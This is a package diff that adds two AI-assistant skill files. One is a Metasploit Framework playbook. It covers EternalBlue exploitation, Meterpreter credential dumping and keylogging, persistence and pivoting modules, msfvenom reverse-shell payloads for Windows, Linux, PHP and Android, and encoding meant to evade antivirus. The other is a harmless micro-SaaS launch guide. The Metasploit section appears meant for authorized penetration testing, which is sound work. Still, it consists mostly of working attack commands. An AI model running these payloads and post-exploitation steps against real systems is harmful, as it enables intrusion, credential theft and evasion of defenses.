@ngxtm/devkit 3.7.0 → 3.8.0

package/merged-commands/metasploit-framework.md

@@ -0,0 +1,478 @@
+---
+name: Metasploit Framework
+description: This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Metasploit Framework
+
+## Purpose
+
+Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
+
+## Prerequisites
+
+### Required Tools
+```bash
+# Metasploit comes pre-installed on Kali Linux
+# For other systems:
+curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
+chmod 755 msfinstall
+./msfinstall
+
+# Start PostgreSQL for database support
+sudo systemctl start postgresql
+sudo msfdb init
+```
+
+### Required Knowledge
+- Network and system fundamentals
+- Understanding of vulnerabilities and exploits
+- Basic programming concepts
+- Target enumeration techniques
+
+### Required Access
+- Written authorization for testing
+- Network access to target systems
+- Understanding of scope and rules of engagement
+
+## Outputs and Deliverables
+
+1. **Exploitation Evidence** - Screenshots and logs of successful compromises
+2. **Session Logs** - Command history and extracted data
+3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references
+4. **Post-Exploitation Artifacts** - Credentials, files, and system information
+
+## Core Workflow
+
+### Phase 1: MSFConsole Basics
+
+Launch and navigate the Metasploit console:
+
+```bash
+# Start msfconsole
+msfconsole
+
+# Quiet mode (skip banner)
+msfconsole -q
+
+# Basic navigation commands
+msf6 > help                    # Show all commands
+msf6 > search [term]           # Search modules
+msf6 > use [module]            # Select module
+msf6 > info                    # Show module details
+msf6 > show options            # Display required options
+msf6 > set [OPTION] [value]    # Configure option
+msf6 > run / exploit           # Execute module
+msf6 > back                    # Return to main console
+msf6 > exit                    # Exit msfconsole
+```
+
+### Phase 2: Module Types
+
+Understand the different module categories:
+
+```bash
+# 1. Exploit Modules - Target specific vulnerabilities
+msf6 > show exploits
+msf6 > use exploit/windows/smb/ms17_010_eternalblue
+
+# 2. Payload Modules - Code executed after exploitation
+msf6 > show payloads
+msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+
+# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
+msf6 > show auxiliary
+msf6 > use auxiliary/scanner/smb/smb_version
+
+# 4. Post-Exploitation Modules - Actions after compromise
+msf6 > show post
+msf6 > use post/windows/gather/hashdump
+
+# 5. Encoders - Obfuscate payloads
+msf6 > show encoders
+msf6 > set ENCODER x86/shikata_ga_nai
+
+# 6. Nops - No-operation padding for buffer overflows
+msf6 > show nops
+
+# 7. Evasion - Bypass security controls
+msf6 > show evasion
+```
+
+### Phase 3: Searching for Modules
+
+Find appropriate modules for targets:
+
+```bash
+# Search by name
+msf6 > search eternalblue
+
+# Search by CVE
+msf6 > search cve:2017-0144
+
+# Search by platform
+msf6 > search platform:windows type:exploit
+
+# Search by type and keyword
+msf6 > search type:auxiliary smb
+
+# Filter by rank (excellent, great, good, normal, average, low, manual)
+msf6 > search rank:excellent
+
+# Combined search
+msf6 > search type:exploit platform:linux apache
+
+# View search results columns:
+# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
+```
+
+### Phase 4: Configuring Exploits
+
+Set up an exploit for execution:
+
+```bash
+# Select exploit module
+msf6 > use exploit/windows/smb/ms17_010_eternalblue
+
+# View required options
+msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
+
+# Set target host
+msf6 exploit(...) > set RHOSTS 192.168.1.100
+
+# Set target port (if different from default)
+msf6 exploit(...) > set RPORT 445
+
+# View compatible payloads
+msf6 exploit(...) > show payloads
+
+# Set payload
+msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+
+# Set local host for reverse connection
+msf6 exploit(...) > set LHOST 192.168.1.50
+msf6 exploit(...) > set LPORT 4444
+
+# View all options again to verify
+msf6 exploit(...) > show options
+
+# Check if target is vulnerable (if supported)
+msf6 exploit(...) > check
+
+# Execute exploit
+msf6 exploit(...) > exploit
+# or
+msf6 exploit(...) > run
+```
+
+### Phase 5: Payload Types
+
+Select appropriate payload for the situation:
+
+```bash
+# Singles - Self-contained, no staging
+windows/shell_reverse_tcp
+linux/x86/shell_bind_tcp
+
+# Stagers - Small payload that downloads larger stage
+windows/meterpreter/reverse_tcp
+linux/x86/meterpreter/bind_tcp
+
+# Stages - Downloaded by stager, provides full functionality
+# Meterpreter, VNC, shell
+
+# Payload naming convention:
+# [platform]/[architecture]/[payload_type]/[connection_type]
+# Examples:
+windows/x64/meterpreter/reverse_tcp
+linux/x86/shell/bind_tcp
+php/meterpreter/reverse_tcp
+java/meterpreter/reverse_https
+android/meterpreter/reverse_tcp
+```
+
+### Phase 6: Meterpreter Session
+
+Work with Meterpreter post-exploitation:
+
+```bash
+# After successful exploitation, you get Meterpreter prompt
+meterpreter >
+
+# System Information
+meterpreter > sysinfo
+meterpreter > getuid
+meterpreter > getpid
+
+# File System Operations
+meterpreter > pwd
+meterpreter > ls
+meterpreter > cd C:\\Users
+meterpreter > download file.txt /tmp/
+meterpreter > upload /tmp/tool.exe C:\\
+
+# Process Management
+meterpreter > ps
+meterpreter > migrate [PID]
+meterpreter > kill [PID]
+
+# Networking
+meterpreter > ipconfig
+meterpreter > netstat
+meterpreter > route
+meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
+
+# Privilege Escalation
+meterpreter > getsystem
+meterpreter > getprivs
+
+# Credential Harvesting
+meterpreter > hashdump
+meterpreter > run post/windows/gather/credentials/credential_collector
+
+# Screenshots and Keylogging
+meterpreter > screenshot
+meterpreter > keyscan_start
+meterpreter > keyscan_dump
+meterpreter > keyscan_stop
+
+# Shell Access
+meterpreter > shell
+C:\Windows\system32> whoami
+C:\Windows\system32> exit
+meterpreter >
+
+# Background Session
+meterpreter > background
+msf6 exploit(...) > sessions -l
+msf6 exploit(...) > sessions -i 1
+```
+
+### Phase 7: Auxiliary Modules
+
+Use auxiliary modules for reconnaissance:
+
+```bash
+# SMB Version Scanner
+msf6 > use auxiliary/scanner/smb/smb_version
+msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
+msf6 auxiliary(...) > run
+
+# Port Scanner
+msf6 > use auxiliary/scanner/portscan/tcp
+msf6 auxiliary(...) > set RHOSTS 192.168.1.100
+msf6 auxiliary(...) > set PORTS 1-1000
+msf6 auxiliary(...) > run
+
+# SSH Version Scanner
+msf6 > use auxiliary/scanner/ssh/ssh_version
+msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
+msf6 auxiliary(...) > run
+
+# FTP Anonymous Login
+msf6 > use auxiliary/scanner/ftp/anonymous
+msf6 auxiliary(...) > set RHOSTS 192.168.1.100
+msf6 auxiliary(...) > run
+
+# HTTP Directory Scanner
+msf6 > use auxiliary/scanner/http/dir_scanner
+msf6 auxiliary(...) > set RHOSTS 192.168.1.100
+msf6 auxiliary(...) > run
+
+# Brute Force Modules
+msf6 > use auxiliary/scanner/ssh/ssh_login
+msf6 auxiliary(...) > set RHOSTS 192.168.1.100
+msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
+msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
+msf6 auxiliary(...) > run
+```
+
+### Phase 8: Post-Exploitation Modules
+
+Run post modules on active sessions:
+
+```bash
+# List sessions
+msf6 > sessions -l
+
+# Run post module on specific session
+msf6 > use post/windows/gather/hashdump
+msf6 post(windows/gather/hashdump) > set SESSION 1
+msf6 post(...) > run
+
+# Or run directly from Meterpreter
+meterpreter > run post/windows/gather/hashdump
+
+# Common Post Modules
+# Credential Gathering
+post/windows/gather/credentials/credential_collector
+post/windows/gather/lsa_secrets
+post/windows/gather/cachedump
+post/multi/gather/ssh_creds
+
+# System Enumeration
+post/windows/gather/enum_applications
+post/windows/gather/enum_logged_on_users
+post/windows/gather/enum_shares
+post/linux/gather/enum_configs
+
+# Privilege Escalation
+post/windows/escalate/getsystem
+post/multi/recon/local_exploit_suggester
+
+# Persistence
+post/windows/manage/persistence_exe
+post/linux/manage/sshkey_persistence
+
+# Pivoting
+post/multi/manage/autoroute
+```
+
+### Phase 9: Payload Generation with msfvenom
+
+Create standalone payloads:
+
+```bash
+# Basic Windows reverse shell
+msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
+
+# Linux reverse shell
+msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
+
+# PHP reverse shell
+msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
+
+# Python reverse shell
+msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
+
+# PowerShell payload
+msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
+
+# ASP web shell
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
+
+# WAR file (Tomcat)
+msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
+
+# Android APK
+msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
+
+# Encoded payload (evade AV)
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
+
+# List available formats
+msfvenom --list formats
+
+# List available encoders
+msfvenom --list encoders
+```
+
+### Phase 10: Setting Up Handlers
+
+Configure listener for incoming connections:
+
+```bash
+# Manual handler setup
+msf6 > use exploit/multi/handler
+msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/handler) > set LHOST 192.168.1.50
+msf6 exploit(multi/handler) > set LPORT 4444
+msf6 exploit(multi/handler) > exploit -j
+
+# The -j flag runs as background job
+msf6 > jobs -l
+
+# When payload executes on target, session opens
+[*] Meterpreter session 1 opened
+
+# Interact with session
+msf6 > sessions -i 1
+```
+
+## Quick Reference
+
+### Essential MSFConsole Commands
+
+| Command | Description |
+|---------|-------------|
+| `search [term]` | Search for modules |
+| `use [module]` | Select a module |
+| `info` | Display module information |
+| `show options` | Show configurable options |
+| `set [OPT] [val]` | Set option value |
+| `setg [OPT] [val]` | Set global option |
+| `run` / `exploit` | Execute module |
+| `check` | Verify target vulnerability |
+| `back` | Deselect module |
+| `sessions -l` | List active sessions |
+| `sessions -i [N]` | Interact with session |
+| `jobs -l` | List background jobs |
+| `db_nmap` | Run nmap with database |
+
+### Meterpreter Essential Commands
+
+| Command | Description |
+|---------|-------------|
+| `sysinfo` | System information |
+| `getuid` | Current user |
+| `getsystem` | Attempt privilege escalation |
+| `hashdump` | Dump password hashes |
+| `shell` | Drop to system shell |
+| `upload/download` | File transfer |
+| `screenshot` | Capture screen |
+| `keyscan_start` | Start keylogger |
+| `migrate [PID]` | Move to another process |
+| `background` | Background session |
+| `portfwd` | Port forwarding |
+
+### Common Exploit Modules
+
+```bash
+# Windows
+exploit/windows/smb/ms17_010_eternalblue
+exploit/windows/smb/ms08_067_netapi
+exploit/windows/http/iis_webdav_upload_asp
+exploit/windows/local/bypassuac
+
+# Linux
+exploit/linux/ssh/sshexec
+exploit/linux/local/overlayfs_priv_esc
+exploit/multi/http/apache_mod_cgi_bash_env_exec
+
+# Web Applications
+exploit/multi/http/tomcat_mgr_upload
+exploit/unix/webapp/wp_admin_shell_upload
+exploit/multi/http/jenkins_script_console
+```
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only use on systems you own or have written authorization to test
+- Document all testing activities
+- Follow rules of engagement
+- Report all findings to appropriate parties
+
+### Technical Limitations
+- Modern AV/EDR may detect Metasploit payloads
+- Some exploits require specific target configurations
+- Firewall rules may block reverse connections
+- Not all exploits work on all target versions
+
+### Operational Security
+- Use encrypted channels (reverse_https) when possible
+- Clean up artifacts after testing
+- Avoid detection by monitoring systems
+- Limit post-exploitation to agreed scope
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
+| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different payloads |
+| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |
+| Payload detected by AV | Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates |

package/merged-commands/micro-saas-launcher.md

@@ -0,0 +1,212 @@
+---
+name: micro-saas-launcher
+description: "Expert in launching small, focused SaaS products fast - the indie hacker approach to building profitable software. Covers idea validation, MVP development, pricing, launch strategies, and growing to sustainable revenue. Ship in weeks, not months. Use when: micro saas, indie hacker, small saas, side project, saas mvp."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Micro-SaaS Launcher
+
+**Role**: Micro-SaaS Launch Architect
+
+You ship fast and iterate. You know the difference between a side project
+and a business. You've seen what works in the indie hacker community. You
+help people go from idea to paying customers in weeks, not years. You
+focus on sustainable, profitable businesses - not unicorn hunting.
+
+## Capabilities
+
+- Micro-SaaS strategy
+- MVP scoping
+- Pricing strategies
+- Launch playbooks
+- Indie hacker patterns
+- Solo founder tech stack
+- Early traction
+- SaaS metrics
+
+## Patterns
+
+### Idea Validation
+
+Validating before building
+
+**When to use**: When starting a micro-SaaS
+
+```javascript
+## Idea Validation
+
+### The Validation Framework
+| Question | How to Answer |
+|----------|---------------|
+| Problem exists? | Talk to 5+ potential users |
+| People pay? | Pre-sell or find competitors |
+| You can build? | Can MVP ship in 2 weeks? |
+| You can reach them? | Distribution channel exists? |
+
+### Quick Validation Methods
+1. **Landing page test**
+   - Build landing page
+   - Drive traffic (ads, community)
+   - Measure signups/interest
+
+2. **Pre-sale**
+   - Sell before building
+   - "Join waitlist for 50% off"
+   - If no sales, pivot
+
+3. **Competitor check**
+   - Competitors = validation
+   - No competitors = maybe no market
+   - Find gap you can fill
+
+### Red Flags
+- "Everyone needs this" (too broad)
+- No clear buyer (who pays?)
+- Requires marketplace dynamics
+- Needs massive scale to work
+
+### Green Flags
+- Clear, specific pain point
+- People already paying for alternatives
+- You have domain expertise
+- Distribution channel access
+```
+
+### MVP Speed Run
+
+Ship MVP in 2 weeks
+
+**When to use**: When building first version
+
+```javascript
+## MVP Speed Run
+
+### The Stack (Solo-Founder Optimized)
+| Component | Choice | Why |
+|-----------|--------|-----|
+| Frontend | Next.js | Full-stack, Vercel deploy |
+| Backend | Next.js API / Supabase | Fast, scalable |
+| Database | Supabase Postgres | Free tier, auth included |
+| Auth | Supabase / Clerk | Don't build auth |
+| Payments | Stripe | Industry standard |
+| Email | Resend / Loops | Transactional + marketing |
+| Hosting | Vercel | Free tier generous |
+
+### Week 1: Core
+```
+Day 1-2: Auth + basic UI
+Day 3-4: Core feature (one thing)
+Day 5-6: Stripe integration
+Day 7: Polish and bug fixes
+```
+
+### Week 2: Launch Ready
+```
+Day 1-2: Landing page
+Day 3: Email flows (welcome, etc.)
+Day 4: Legal (privacy, terms)
+Day 5: Final testing
+Day 6-7: Soft launch
+```
+
+### What to Skip in MVP
+- Perfect design (good enough is fine)
+- All features (one core feature only)
+- Scale optimization (worry later)
+- Custom auth (use a service)
+- Multiple pricing tiers (start simple)
+```
+
+### Pricing Strategy
+
+Pricing your micro-SaaS
+
+**When to use**: When setting prices
+
+```javascript
+## Pricing Strategy
+
+### Pricing Tiers for Micro-SaaS
+| Strategy | Best For |
+|----------|----------|
+| Single price | Simple tools, clear value |
+| Two tiers | Free/paid or Basic/Pro |
+| Three tiers | Most SaaS (Good/Better/Best) |
+| Usage-based | API products, variable use |
+
+### Starting Price Framework
+```
+What's the alternative cost? (Competitor or manual work)
+Your price = 20-50% of alternative cost
+
+Example:
+- Manual work takes 10 hours/month
+- 10 hours × $50/hour = $500 value
+- Price: $49-99/month
+```
+
+### Common Micro-SaaS Prices
+| Type | Price Range |
+|------|-------------|
+| Simple tool | $9-29/month |
+| Pro tool | $29-99/month |
+| B2B tool | $49-299/month |
+| Lifetime deal | 3-5x monthly |
+
+### Pricing Mistakes
+- Too cheap (undervalues, attracts bad customers)
+- Too complex (confuses buyers)
+- No free tier AND no trial (no way to try)
+- Charging too late (validate with money early)
+```
+
+## Anti-Patterns
+
+### ❌ Building in Secret
+
+**Why bad**: No feedback loop.
+Building wrong thing.
+Wasted time.
+Fear of shipping.
+
+**Instead**: Launch ugly MVP.
+Get feedback early.
+Build in public.
+Iterate based on users.
+
+### ❌ Feature Creep
+
+**Why bad**: Never ships.
+Dilutes focus.
+Confuses users.
+Delays revenue.
+
+**Instead**: One core feature first.
+Ship, then iterate.
+Let users tell you what's missing.
+Say no to most requests.
+
+### ❌ Pricing Too Low
+
+**Why bad**: Undervalues your work.
+Attracts price-sensitive customers.
+Hard to run a business.
+Can't afford growth.
+
+**Instead**: Price for value, not time.
+Start higher, discount if needed.
+B2B can pay more.
+Your time has value.
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Great product, no way to reach customers | high | ## Distribution First |
+| Building for market that can't/won't pay | high | ## Market Selection |
+| New signups leaving as fast as they come | high | ## Fixing Churn |
+| Pricing page confuses potential customers | medium | ## Simple Pricing |
+
+## Related Skills
+
+Works well with: `landing-page-design`, `backend`, `stripe`, `seo`